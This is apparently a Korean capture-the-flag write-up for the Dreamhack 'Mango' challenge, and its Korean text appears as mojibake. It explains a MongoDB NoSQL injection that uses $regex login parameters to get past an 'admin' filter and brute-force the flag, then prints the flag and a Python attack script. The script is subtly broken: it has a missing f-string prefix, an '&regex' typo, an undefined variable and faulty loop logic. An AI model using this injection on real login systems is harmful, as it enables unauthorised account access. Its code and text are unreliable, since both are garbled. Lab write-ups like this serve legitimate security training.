๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] Mango ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

by A Lim Han 2022. 9. 29.

3 - 1 - 1. Mango ์ทจ์•ฝ์  ๋ถ„์„ ์‹ค์Šต

 

 

 

3 - 1 - 1. Mango ์ทจ์•ฝ์  ๋ถ„์„ ์‹ค์Šต

1. ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ๋ฐ ๋ฌธ์ œ ํ™•์ธ

 

 

 

2. ๋ฌธ์ œ ํŒŒ์ผ ์ค‘ package.json ํŒŒ์ผ์„ ์—ด์–ด ์ฝ”๋“œ ๋ถ„์„

๋ณ„๋‹ค๋ฅธ ํŠน์ด ๋ถ„์„์ ์ด ์กด์žฌํ•˜์ง€ ์•Š์Œ

 

 

 

3. ๋ฌธ์ œ ํŒŒ์ผ ์ค‘ main.js ํŒŒ์ผ์„ ์—ด์–ด ์ฝ”๋“œ ๋ถ„์„

+ << Line 1 ~ 6 >>

: ์ด์šฉ์ž๊ฐ€ ์„ค์ •ํ•œ ์ฟผ๋ฆฌ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ์ฝ”๋“œ

 

 

+ << Line 8 ~ 18 >>

: admi, admin, dh ๋‹จ์–ด๋“ค์„ ํ•„ํ„ฐ๋ง  -->  admin ์„ ๊ฒ€์ƒ‰ํ–ˆ์„ ๋•Œ ๋ฐ”๋กœ ์ •๋‹ต์ด ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•จ

 

 

+ << Line 27 ~ 33 >>

: userid ์™€ password ๋กœ ๊ฒ€์ƒ‰ํ–ˆ์„ ๋•Œ, ํ•„ํ„ฐ๋ง ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰

 

+ << Line 33 ~ 34 >>

: ๋กœ๊ทธ์ธ ์„ฑ๊ณต = ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ์˜ ๊ฐ’ ๊ฒ€์ƒ‰ ์„ฑ๊ณต

 

+ << Line 35 ~ 36 >>

: ์œ„์˜ ๊ณผ์ •์ฒ˜๋Ÿผ ํ•„ํ„ฐ๋ง ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ–ˆ์Œ์—๋„ ํ•ด๋‹น ๊ฒฐ๊ณผ๊ฐ€ ์—†๋‹ค๋ฉด undefined ์ถœ๋ ฅ

 

 

+ << Line 41 ~ 45 >>

: ์ดˆ๊ธฐ์˜ ๋นˆ ํŽ˜์ด์ง€์—์„œ ์ถœ๋ ฅํ•  ๋‚ด์šฉ์„ ๊ฒฐ์ •ํ•˜๋Š” ์ฝ”๋“œ

: Payload ์ƒ์„ฑ = ๊ณต๊ฒฉ์„ ์œ„ํ•œ ์ž„์˜ ๋ฐ์ดํ„ฐ ์‚ฝ์ž…

 

 

 

4. ๋ฌธ์ œ์˜ ์ ‘์† ์ •๋ณด ํ™•์ธ ํ›„ ์•ˆ๋‚ด๋œ ๋งํฌ์ธ http://host3.dreamhack.games:14635 ๋กœ ์ ‘์†

 

 

 

 

5. ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ A(for ๋ฌธ ์‚ฌ์šฉ) ์ƒ์„ฑ

+ << Line 3 >>

: ๊ณต๊ฒฉ ๋Œ€์ƒ์„ ์„ค์ •ํ•ด์ฃผ๋Š” ์ฝ”๋“œ๋กœ, ๊ณต๊ฒฉ ๋Œ€์ƒ์€ ๊ธฐ๋ณธ ์ ‘์† ์ •๋ณด์—์„œ ์•ˆ๋‚ด๋œ ๋งํฌ์™€ ๋™์ผํ•จ

 

+ << Line 2 >>

: FLAG ์— ์ˆซ์ž์™€ ๋ฌธ์ž๋ฅผ ๋ชจ๋‘ ํฌํ•จํ•˜์—ฌ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ

string.digits string.ascii_letters
์ˆซ์ž๋ฅผ ํฌํ•จํ•˜์—ฌ ์ถœ๋ ฅ ๋ฌธ์ž๋ฅผ ํฌํ•จํ•˜์—ฌ ์ถœ๋ ฅ

 

+ << Line 7 ~ 8 >>

: Flag๊ฐ€ ์ด 32์ž๋ฆฌ์ด๋ฏ€๋กœ ํ”„๋กœ๊ทธ๋žจ์„ 32๋ฒˆ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ

 

+ << Line 9 ~ 10 >>

: Payload๋ฅผ ์‚ฝ์ž…ํ•˜๋ฉด ๊ทธ์— ๋Œ€ํ•œ ์‘๋‹ต์„ response ๋กœ ๋ฐ›์•„์ฃผ๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ๋กœ, ์‘๋‹ต์ด admin์ผ ๊ฒฝ์šฐ Flag๋ฅผ ์ถœ๋ ฅ

 

 

+ + ์ฃผ์˜!

Line 9์˜ URL์—์„œ { ๊ฐ€ 1๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ผ 2๊ฐœ์ธ ์ด์œ ?

-->  Line 9์˜ ๊ฒฝ์šฐ์™€ ๊ฐ™์ด URL ์•ž์— 'f' ๋ฌธ์ž๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ { ๊ธฐํ˜ธ 2๊ฐœ๊ฐ€ { ๊ธฐํ˜ธ 1๊ฐœ๋กœ ์ธ์‹๋œ๋‹ค.

 

 

 

6. ์ƒ์„ฑํ•œ ์ฝ”๋“œ A ์‹คํ–‰  -->  Flag๊ฐ€ ์—ฌ๋Ÿฌ ๋ฒˆ์— ๊ฑธ์ณ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธ

์ตœ์ข… Flag๋Š” DH{89e50fa6fafe2604e33c0ba05843d3df}

 

 

 

7. ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ B(while ๋ฌธ ์‚ฌ์šฉ) ์ƒ์„ฑ

import requests, string

HOST = "http://host3.dreamhack.games:9560/"
GET_FLAG = string.digits + string.ascii_letters
flag=""

while True:
        response = requests.get("{HOST}/login?uid[$regex]=ad.in&upw[&regex]=D.{{flag}{ch}")
        if response.text=="admin":
            flag += GET_FLAG
            break
print('DH{'+flag+'}')

 

 

 

8. ์ƒ์„ฑํ•œ ์ฝ”๋“œ B ์‹คํ–‰  -->  Flag๊ฐ€ ์—ฌ๋Ÿฌ ๋ฒˆ์— ๊ฑธ์ณ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธ